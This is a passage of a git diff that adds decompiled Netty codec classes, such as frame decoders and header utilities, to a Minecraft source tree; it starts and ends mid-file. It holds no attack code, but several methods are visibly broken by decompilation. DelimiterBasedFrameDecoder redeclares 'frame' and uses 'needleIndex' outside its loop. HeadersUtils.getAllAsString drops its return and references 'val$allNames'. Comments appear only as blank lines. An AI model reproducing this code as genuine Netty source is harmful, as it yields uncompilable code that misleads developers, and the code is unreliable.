+      return key.toString() + '=' + value.toString();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DefaultHeadersImpl.java b/src/minecraft/io/netty/handler/codec/DefaultHeadersImpl.java
new file mode 100644
index 0000000..d5c8204
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DefaultHeadersImpl.java
@@ -0,0 +1,29 @@
+package io.netty.handler.codec;
+
+import io.netty.util.HashingStrategy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHeadersImpl<K, V>
+  extends DefaultHeaders<K, V, DefaultHeadersImpl<K, V>>
+{
+  public DefaultHeadersImpl(HashingStrategy<K> nameHashingStrategy, ValueConverter<V> valueConverter, DefaultHeaders.NameValidator<K> nameValidator)
+  {
+    super(nameHashingStrategy, valueConverter, nameValidator);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DelimiterBasedFrameDecoder.java b/src/minecraft/io/netty/handler/codec/DelimiterBasedFrameDecoder.java
new file mode 100644
index 0000000..bb549e4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DelimiterBasedFrameDecoder.java
@@ -0,0 +1,353 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DelimiterBasedFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private final ByteBuf[] delimiters;
+  private final int maxFrameLength;
+  private final boolean stripDelimiter;
+  private final boolean failFast;
+  private boolean discardingTooLongFrame;
+  private int tooLongFrameLength;
+  private final LineBasedFrameDecoder lineBasedDecoder;
+  
+  public DelimiterBasedFrameDecoder(int maxFrameLength, ByteBuf delimiter)
+  {
+    this(maxFrameLength, true, delimiter);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public DelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ByteBuf delimiter)
+  {
+    this(maxFrameLength, stripDelimiter, true, delimiter);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, boolean failFast, ByteBuf delimiter)
+  {
+    this(maxFrameLength, stripDelimiter, failFast, new ByteBuf[] { delimiter.slice(delimiter.readerIndex(), delimiter.readableBytes()) });
+  }
+  
+
+
+
+
+
+
+
+
+  public DelimiterBasedFrameDecoder(int maxFrameLength, ByteBuf... delimiters)
+  {
+    this(maxFrameLength, true, delimiters);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public DelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ByteBuf... delimiters)
+  {
+    this(maxFrameLength, stripDelimiter, true, delimiters);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, boolean failFast, ByteBuf... delimiters)
+  {
+    validateMaxFrameLength(maxFrameLength);
+    if (delimiters == null) {
+      throw new NullPointerException("delimiters");
+    }
+    if (delimiters.length == 0) {
+      throw new IllegalArgumentException("empty delimiters");
+    }
+    
+    if ((isLineBased(delimiters)) && (!isSubclass())) {
+      lineBasedDecoder = new LineBasedFrameDecoder(maxFrameLength, stripDelimiter, failFast);
+      this.delimiters = null;
+    } else {
+      this.delimiters = new ByteBuf[delimiters.length];
+      for (int i = 0; i < delimiters.length; i++) {
+        ByteBuf d = delimiters[i];
+        validateDelimiter(d);
+        this.delimiters[i] = d.slice(d.readerIndex(), d.readableBytes());
+      }
+      lineBasedDecoder = null;
+    }
+    this.maxFrameLength = maxFrameLength;
+    this.stripDelimiter = stripDelimiter;
+    this.failFast = failFast;
+  }
+  
+  private static boolean isLineBased(ByteBuf[] delimiters)
+  {
+    if (delimiters.length != 2) {
+      return false;
+    }
+    ByteBuf a = delimiters[0];
+    ByteBuf b = delimiters[1];
+    if (a.capacity() < b.capacity()) {
+      a = delimiters[1];
+      b = delimiters[0];
+    }
+    return (a.capacity() == 2) && (b.capacity() == 1) && (a.getByte(0) == 13) && (a.getByte(1) == 10) && (b.getByte(0) == 10);
+  }
+  
+
+
+
+
+  private boolean isSubclass()
+  {
+    return getClass() != DelimiterBasedFrameDecoder.class;
+  }
+  
+  protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    Object decoded = decode(ctx, in);
+    if (decoded != null) {
+      out.add(decoded);
+    }
+  }
+  
+
+
+
+
+
+
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf buffer)
+    throws Exception
+  {
+    if (lineBasedDecoder != null) {
+      return lineBasedDecoder.decode(ctx, buffer);
+    }
+    
+    int minFrameLength = Integer.MAX_VALUE;
+    ByteBuf minDelim = null;
+    for (ByteBuf delim : delimiters) {
+      int frameLength = indexOf(buffer, delim);
+      if ((frameLength >= 0) && (frameLength < minFrameLength)) {
+        minFrameLength = frameLength;
+        minDelim = delim;
+      }
+    }
+    
+    if (minDelim != null) {
+      int minDelimLength = minDelim.capacity();
+      
+
+      if (discardingTooLongFrame)
+      {
+
+        discardingTooLongFrame = false;
+        buffer.skipBytes(minFrameLength + minDelimLength);
+        
+        int tooLongFrameLength = this.tooLongFrameLength;
+        this.tooLongFrameLength = 0;
+        if (!failFast) {
+          fail(tooLongFrameLength);
+        }
+        return null;
+      }
+      
+      if (minFrameLength > maxFrameLength)
+      {
+        buffer.skipBytes(minFrameLength + minDelimLength);
+        fail(minFrameLength);
+        return null;
+      }
+      ByteBuf frame;
+      if (stripDelimiter) {
+        ByteBuf frame = buffer.readSlice(minFrameLength);
+        buffer.skipBytes(minDelimLength);
+      } else {
+        frame = buffer.readSlice(minFrameLength + minDelimLength);
+      }
+      
+      return frame.retain();
+    }
+    if (!discardingTooLongFrame) {
+      if (buffer.readableBytes() > maxFrameLength)
+      {
+        this.tooLongFrameLength = buffer.readableBytes();
+        buffer.skipBytes(buffer.readableBytes());
+        discardingTooLongFrame = true;
+        if (failFast) {
+          fail(this.tooLongFrameLength);
+        }
+      }
+    }
+    else {
+      this.tooLongFrameLength += buffer.readableBytes();
+      buffer.skipBytes(buffer.readableBytes());
+    }
+    return null;
+  }
+  
+  private void fail(long frameLength)
+  {
+    if (frameLength > 0L) {
+      throw new TooLongFrameException("frame length exceeds " + maxFrameLength + ": " + frameLength + " - discarded");
+    }
+    
+
+    throw new TooLongFrameException("frame length exceeds " + maxFrameLength + " - discarding");
+  }
+  
+
+
+
+
+
+
+
+  private static int indexOf(ByteBuf haystack, ByteBuf needle)
+  {
+    for (int i = haystack.readerIndex(); i < haystack.writerIndex(); i++) {
+      int haystackIndex = i;
+      
+      for (int needleIndex = 0; needleIndex < needle.capacity(); needleIndex++) {
+        if (haystack.getByte(haystackIndex) != needle.getByte(needleIndex)) {
+          break;
+        }
+        haystackIndex++;
+        if ((haystackIndex == haystack.writerIndex()) && (needleIndex != needle.capacity() - 1))
+        {
+          return -1;
+        }
+      }
+      
+
+      if (needleIndex == needle.capacity())
+      {
+        return i - haystack.readerIndex();
+      }
+    }
+    return -1;
+  }
+  
+  private static void validateDelimiter(ByteBuf delimiter) {
+    if (delimiter == null) {
+      throw new NullPointerException("delimiter");
+    }
+    if (!delimiter.isReadable()) {
+      throw new IllegalArgumentException("empty delimiter");
+    }
+  }
+  
+  private static void validateMaxFrameLength(int maxFrameLength) {
+    if (maxFrameLength <= 0) {
+      throw new IllegalArgumentException("maxFrameLength must be a positive integer: " + maxFrameLength);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/Delimiters.java b/src/minecraft/io/netty/handler/codec/Delimiters.java
new file mode 100644
index 0000000..e47b14a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/Delimiters.java
@@ -0,0 +1,44 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Delimiters
+{
+  public static ByteBuf[] nulDelimiter()
+  {
+    return new ByteBuf[] { Unpooled.wrappedBuffer(new byte[] { 0 }) };
+  }
+  
+
+
+
+
+  public static ByteBuf[] lineDelimiter()
+  {
+    return new ByteBuf[] { Unpooled.wrappedBuffer(new byte[] { 13, 10 }), Unpooled.wrappedBuffer(new byte[] { 10 }) };
+  }
+  
+  private Delimiters() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/EmptyHeaders.java b/src/minecraft/io/netty/handler/codec/EmptyHeaders.java
new file mode 100644
index 0000000..90a514d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/EmptyHeaders.java
@@ -0,0 +1,516 @@
+package io.netty.handler.codec;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EmptyHeaders<K, V, T extends Headers<K, V, T>>
+  implements Headers<K, V, T>
+{
+  public EmptyHeaders() {}
+  
+  public V get(K name)
+  {
+    return null;
+  }
+  
+  public V get(K name, V defaultValue)
+  {
+    return null;
+  }
+  
+  public V getAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public V getAndRemove(K name, V defaultValue)
+  {
+    return null;
+  }
+  
+  public List<V> getAll(K name)
+  {
+    return Collections.emptyList();
+  }
+  
+  public List<V> getAllAndRemove(K name)
+  {
+    return Collections.emptyList();
+  }
+  
+  public Boolean getBoolean(K name)
+  {
+    return null;
+  }
+  
+  public boolean getBoolean(K name, boolean defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Byte getByte(K name)
+  {
+    return null;
+  }
+  
+  public byte getByte(K name, byte defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Character getChar(K name)
+  {
+    return null;
+  }
+  
+  public char getChar(K name, char defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Short getShort(K name)
+  {
+    return null;
+  }
+  
+  public short getShort(K name, short defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Integer getInt(K name)
+  {
+    return null;
+  }
+  
+  public int getInt(K name, int defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Long getLong(K name)
+  {
+    return null;
+  }
+  
+  public long getLong(K name, long defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Float getFloat(K name)
+  {
+    return null;
+  }
+  
+  public float getFloat(K name, float defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Double getDouble(K name)
+  {
+    return null;
+  }
+  
+  public double getDouble(K name, double defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Long getTimeMillis(K name)
+  {
+    return null;
+  }
+  
+  public long getTimeMillis(K name, long defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Boolean getBooleanAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public boolean getBooleanAndRemove(K name, boolean defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Byte getByteAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public byte getByteAndRemove(K name, byte defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Character getCharAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public char getCharAndRemove(K name, char defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Short getShortAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public short getShortAndRemove(K name, short defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Integer getIntAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public int getIntAndRemove(K name, int defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Long getLongAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public long getLongAndRemove(K name, long defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Float getFloatAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public float getFloatAndRemove(K name, float defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Double getDoubleAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public double getDoubleAndRemove(K name, double defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public Long getTimeMillisAndRemove(K name)
+  {
+    return null;
+  }
+  
+  public long getTimeMillisAndRemove(K name, long defaultValue)
+  {
+    return defaultValue;
+  }
+  
+  public boolean contains(K name)
+  {
+    return false;
+  }
+  
+  public boolean contains(K name, V value)
+  {
+    return false;
+  }
+  
+  public boolean containsObject(K name, Object value)
+  {
+    return false;
+  }
+  
+  public boolean containsBoolean(K name, boolean value)
+  {
+    return false;
+  }
+  
+  public boolean containsByte(K name, byte value)
+  {
+    return false;
+  }
+  
+  public boolean containsChar(K name, char value)
+  {
+    return false;
+  }
+  
+  public boolean containsShort(K name, short value)
+  {
+    return false;
+  }
+  
+  public boolean containsInt(K name, int value)
+  {
+    return false;
+  }
+  
+  public boolean containsLong(K name, long value)
+  {
+    return false;
+  }
+  
+  public boolean containsFloat(K name, float value)
+  {
+    return false;
+  }
+  
+  public boolean containsDouble(K name, double value)
+  {
+    return false;
+  }
+  
+  public boolean containsTimeMillis(K name, long value)
+  {
+    return false;
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public boolean isEmpty()
+  {
+    return true;
+  }
+  
+  public Set<K> names()
+  {
+    return Collections.emptySet();
+  }
+  
+  public T add(K name, V value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T add(K name, Iterable<? extends V> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T add(K name, V... values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addObject(K name, Object value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addObject(K name, Iterable<?> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addObject(K name, Object... values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addBoolean(K name, boolean value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addByte(K name, byte value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addChar(K name, char value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addShort(K name, short value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addInt(K name, int value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addLong(K name, long value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addFloat(K name, float value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addDouble(K name, double value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T addTimeMillis(K name, long value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T add(Headers<? extends K, ? extends V, ?> headers)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T set(K name, V value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T set(K name, Iterable<? extends V> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T set(K name, V... values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setObject(K name, Object value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setObject(K name, Iterable<?> values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setObject(K name, Object... values)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setBoolean(K name, boolean value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setByte(K name, byte value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setChar(K name, char value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setShort(K name, short value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setInt(K name, int value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setLong(K name, long value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setFloat(K name, float value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setDouble(K name, double value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setTimeMillis(K name, long value)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T set(Headers<? extends K, ? extends V, ?> headers)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public T setAll(Headers<? extends K, ? extends V, ?> headers)
+  {
+    throw new UnsupportedOperationException("read only");
+  }
+  
+  public boolean remove(K name)
+  {
+    return false;
+  }
+  
+  public T clear()
+  {
+    return thisT();
+  }
+  
+  public Iterator<Map.Entry<K, V>> iterator()
+  {
+    List<Map.Entry<K, V>> empty = Collections.emptyList();
+    return empty.iterator();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Headers)) {
+      return false;
+    }
+    
+    Headers<?, ?, ?> rhs = (Headers)o;
+    return (isEmpty()) && (rhs.isEmpty());
+  }
+  
+  public int hashCode()
+  {
+    return -1028477387;
+  }
+  
+  public String toString()
+  {
+    return getClass().getSimpleName() + '[' + ']';
+  }
+  
+  private T thisT()
+  {
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/EncoderException.java b/src/minecraft/io/netty/handler/codec/EncoderException.java
new file mode 100644
index 0000000..75e07bd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/EncoderException.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+public class EncoderException
+  extends CodecException
+{
+  private static final long serialVersionUID = -5086121160476476774L;
+  
+
+
+
+
+
+
+
+
+  public EncoderException() {}
+  
+
+
+
+
+
+
+
+  public EncoderException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public EncoderException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public EncoderException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/FixedLengthFrameDecoder.java b/src/minecraft/io/netty/handler/codec/FixedLengthFrameDecoder.java
new file mode 100644
index 0000000..31b0ee2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/FixedLengthFrameDecoder.java
@@ -0,0 +1,79 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FixedLengthFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private final int frameLength;
+  
+  public FixedLengthFrameDecoder(int frameLength)
+  {
+    if (frameLength <= 0) {
+      throw new IllegalArgumentException("frameLength must be a positive integer: " + frameLength);
+    }
+    
+    this.frameLength = frameLength;
+  }
+  
+  protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    Object decoded = decode(ctx, in);
+    if (decoded != null) {
+      out.add(decoded);
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf in)
+    throws Exception
+  {
+    if (in.readableBytes() < frameLength) {
+      return null;
+    }
+    return in.readSlice(frameLength).retain();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/Headers.java b/src/minecraft/io/netty/handler/codec/Headers.java
new file mode 100644
index 0000000..c5c5910
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/Headers.java
@@ -0,0 +1,196 @@
+package io.netty.handler.codec;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+public abstract interface Headers<K, V, T extends Headers<K, V, T>>
+  extends Iterable<Map.Entry<K, V>>
+{
+  public abstract V get(K paramK);
+  
+  public abstract V get(K paramK, V paramV);
+  
+  public abstract V getAndRemove(K paramK);
+  
+  public abstract V getAndRemove(K paramK, V paramV);
+  
+  public abstract List<V> getAll(K paramK);
+  
+  public abstract List<V> getAllAndRemove(K paramK);
+  
+  public abstract Boolean getBoolean(K paramK);
+  
+  public abstract boolean getBoolean(K paramK, boolean paramBoolean);
+  
+  public abstract Byte getByte(K paramK);
+  
+  public abstract byte getByte(K paramK, byte paramByte);
+  
+  public abstract Character getChar(K paramK);
+  
+  public abstract char getChar(K paramK, char paramChar);
+  
+  public abstract Short getShort(K paramK);
+  
+  public abstract short getShort(K paramK, short paramShort);
+  
+  public abstract Integer getInt(K paramK);
+  
+  public abstract int getInt(K paramK, int paramInt);
+  
+  public abstract Long getLong(K paramK);
+  
+  public abstract long getLong(K paramK, long paramLong);
+  
+  public abstract Float getFloat(K paramK);
+  
+  public abstract float getFloat(K paramK, float paramFloat);
+  
+  public abstract Double getDouble(K paramK);
+  
+  public abstract double getDouble(K paramK, double paramDouble);
+  
+  public abstract Long getTimeMillis(K paramK);
+  
+  public abstract long getTimeMillis(K paramK, long paramLong);
+  
+  public abstract Boolean getBooleanAndRemove(K paramK);
+  
+  public abstract boolean getBooleanAndRemove(K paramK, boolean paramBoolean);
+  
+  public abstract Byte getByteAndRemove(K paramK);
+  
+  public abstract byte getByteAndRemove(K paramK, byte paramByte);
+  
+  public abstract Character getCharAndRemove(K paramK);
+  
+  public abstract char getCharAndRemove(K paramK, char paramChar);
+  
+  public abstract Short getShortAndRemove(K paramK);
+  
+  public abstract short getShortAndRemove(K paramK, short paramShort);
+  
+  public abstract Integer getIntAndRemove(K paramK);
+  
+  public abstract int getIntAndRemove(K paramK, int paramInt);
+  
+  public abstract Long getLongAndRemove(K paramK);
+  
+  public abstract long getLongAndRemove(K paramK, long paramLong);
+  
+  public abstract Float getFloatAndRemove(K paramK);
+  
+  public abstract float getFloatAndRemove(K paramK, float paramFloat);
+  
+  public abstract Double getDoubleAndRemove(K paramK);
+  
+  public abstract double getDoubleAndRemove(K paramK, double paramDouble);
+  
+  public abstract Long getTimeMillisAndRemove(K paramK);
+  
+  public abstract long getTimeMillisAndRemove(K paramK, long paramLong);
+  
+  public abstract boolean contains(K paramK);
+  
+  public abstract boolean contains(K paramK, V paramV);
+  
+  public abstract boolean containsObject(K paramK, Object paramObject);
+  
+  public abstract boolean containsBoolean(K paramK, boolean paramBoolean);
+  
+  public abstract boolean containsByte(K paramK, byte paramByte);
+  
+  public abstract boolean containsChar(K paramK, char paramChar);
+  
+  public abstract boolean containsShort(K paramK, short paramShort);
+  
+  public abstract boolean containsInt(K paramK, int paramInt);
+  
+  public abstract boolean containsLong(K paramK, long paramLong);
+  
+  public abstract boolean containsFloat(K paramK, float paramFloat);
+  
+  public abstract boolean containsDouble(K paramK, double paramDouble);
+  
+  public abstract boolean containsTimeMillis(K paramK, long paramLong);
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract Set<K> names();
+  
+  public abstract T add(K paramK, V paramV);
+  
+  public abstract T add(K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract T add(K paramK, V... paramVarArgs);
+  
+  public abstract T addObject(K paramK, Object paramObject);
+  
+  public abstract T addObject(K paramK, Iterable<?> paramIterable);
+  
+  public abstract T addObject(K paramK, Object... paramVarArgs);
+  
+  public abstract T addBoolean(K paramK, boolean paramBoolean);
+  
+  public abstract T addByte(K paramK, byte paramByte);
+  
+  public abstract T addChar(K paramK, char paramChar);
+  
+  public abstract T addShort(K paramK, short paramShort);
+  
+  public abstract T addInt(K paramK, int paramInt);
+  
+  public abstract T addLong(K paramK, long paramLong);
+  
+  public abstract T addFloat(K paramK, float paramFloat);
+  
+  public abstract T addDouble(K paramK, double paramDouble);
+  
+  public abstract T addTimeMillis(K paramK, long paramLong);
+  
+  public abstract T add(Headers<? extends K, ? extends V, ?> paramHeaders);
+  
+  public abstract T set(K paramK, V paramV);
+  
+  public abstract T set(K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract T set(K paramK, V... paramVarArgs);
+  
+  public abstract T setObject(K paramK, Object paramObject);
+  
+  public abstract T setObject(K paramK, Iterable<?> paramIterable);
+  
+  public abstract T setObject(K paramK, Object... paramVarArgs);
+  
+  public abstract T setBoolean(K paramK, boolean paramBoolean);
+  
+  public abstract T setByte(K paramK, byte paramByte);
+  
+  public abstract T setChar(K paramK, char paramChar);
+  
+  public abstract T setShort(K paramK, short paramShort);
+  
+  public abstract T setInt(K paramK, int paramInt);
+  
+  public abstract T setLong(K paramK, long paramLong);
+  
+  public abstract T setFloat(K paramK, float paramFloat);
+  
+  public abstract T setDouble(K paramK, double paramDouble);
+  
+  public abstract T setTimeMillis(K paramK, long paramLong);
+  
+  public abstract T set(Headers<? extends K, ? extends V, ?> paramHeaders);
+  
+  public abstract T setAll(Headers<? extends K, ? extends V, ?> paramHeaders);
+  
+  public abstract boolean remove(K paramK);
+  
+  public abstract T clear();
+  
+  public abstract Iterator<Map.Entry<K, V>> iterator();
+}
diff --git a/src/minecraft/io/netty/handler/codec/HeadersUtils.java b/src/minecraft/io/netty/handler/codec/HeadersUtils.java
new file mode 100644
index 0000000..ceea893
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/HeadersUtils.java
@@ -0,0 +1,282 @@
+package io.netty.handler.codec;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HeadersUtils
+{
+  private HeadersUtils() {}
+  
+  public static <K, V> List<String> getAllAsString(Headers<K, V, ?> headers, K name)
+  {
+    List<V> allNames = headers.getAll(name);
+    new AbstractList()
+    {
+      public String get(int index) {
+        V value = val$allNames.get(index);
+        return value != null ? value.toString() : null;
+      }
+      
+      public int size()
+      {
+        return val$allNames.size();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public static <K, V> String getAsString(Headers<K, V, ?> headers, K name)
+  {
+    V orig = headers.get(name);
+    return orig != null ? orig.toString() : null;
+  }
+  
+
+
+
+  public static Iterator<Map.Entry<String, String>> iteratorAsString(Iterable<Map.Entry<CharSequence, CharSequence>> headers)
+  {
+    return new StringEntryIterator(headers.iterator());
+  }
+  
+
+
+
+
+  public static Set<String> namesAsString(Headers<CharSequence, CharSequence, ?> headers)
+  {
+    return new CharSequenceDelegatingStringSet(headers.names());
+  }
+  
+  private static final class StringEntryIterator implements Iterator<Map.Entry<String, String>> {
+    private final Iterator<Map.Entry<CharSequence, CharSequence>> iter;
+    
+    public StringEntryIterator(Iterator<Map.Entry<CharSequence, CharSequence>> iter) {
+      this.iter = iter;
+    }
+    
+    public boolean hasNext()
+    {
+      return iter.hasNext();
+    }
+    
+    public Map.Entry<String, String> next()
+    {
+      return new HeadersUtils.StringEntry((Map.Entry)iter.next());
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  private static final class StringEntry implements Map.Entry<String, String> {
+    private final Map.Entry<CharSequence, CharSequence> entry;
+    private String name;
+    private String value;
+    
+    StringEntry(Map.Entry<CharSequence, CharSequence> entry) {
+      this.entry = entry;
+    }
+    
+    public String getKey()
+    {
+      if (name == null) {
+        name = ((CharSequence)entry.getKey()).toString();
+      }
+      return name;
+    }
+    
+    public String getValue()
+    {
+      if ((value == null) && (entry.getValue() != null)) {
+        value = ((CharSequence)entry.getValue()).toString();
+      }
+      return value;
+    }
+    
+    public String setValue(String value)
+    {
+      String old = getValue();
+      entry.setValue(value);
+      return old;
+    }
+    
+    public String toString()
+    {
+      return entry.toString();
+    }
+  }
+  
+  private static final class StringIterator<T> implements Iterator<String> {
+    private final Iterator<T> iter;
+    
+    public StringIterator(Iterator<T> iter) {
+      this.iter = iter;
+    }
+    
+    public boolean hasNext()
+    {
+      return iter.hasNext();
+    }
+    
+    public String next()
+    {
+      T next = iter.next();
+      return next != null ? next.toString() : null;
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  private static final class CharSequenceDelegatingStringSet extends HeadersUtils.DelegatingStringSet<CharSequence> {
+    public CharSequenceDelegatingStringSet(Set<CharSequence> allNames) {
+      super();
+    }
+    
+    public boolean add(String e)
+    {
+      return allNames.add(e);
+    }
+    
+    public boolean addAll(Collection<? extends String> c)
+    {
+      return allNames.addAll(c);
+    }
+  }
+  
+  private static abstract class DelegatingStringSet<T> implements Set<String> {
+    protected final Set<T> allNames;
+    
+    public DelegatingStringSet(Set<T> allNames) {
+      this.allNames = ((Set)ObjectUtil.checkNotNull(allNames, "allNames"));
+    }
+    
+    public int size()
+    {
+      return allNames.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return allNames.isEmpty();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return allNames.contains(o.toString());
+    }
+    
+    public Iterator<String> iterator()
+    {
+      return new HeadersUtils.StringIterator(allNames.iterator());
+    }
+    
+    public Object[] toArray()
+    {
+      Object[] arr = new Object[size()];
+      fillArray(arr);
+      return arr;
+    }
+    
+
+    public <X> X[] toArray(X[] a)
+    {
+      if ((a == null) || (a.length < size())) {
+        X[] arr = (Object[])new Object[size()];
+        fillArray(arr);
+        return arr;
+      }
+      fillArray(a);
+      return a;
+    }
+    
+    private void fillArray(Object[] arr) {
+      Iterator<T> itr = allNames.iterator();
+      for (int i = 0; i < size(); i++) {
+        arr[i] = itr.next();
+      }
+    }
+    
+    public boolean remove(Object o)
+    {
+      return allNames.remove(o);
+    }
+    
+    public boolean containsAll(Collection<?> c)
+    {
+      for (Object o : c) {
+        if (!contains(o)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean removeAll(Collection<?> c)
+    {
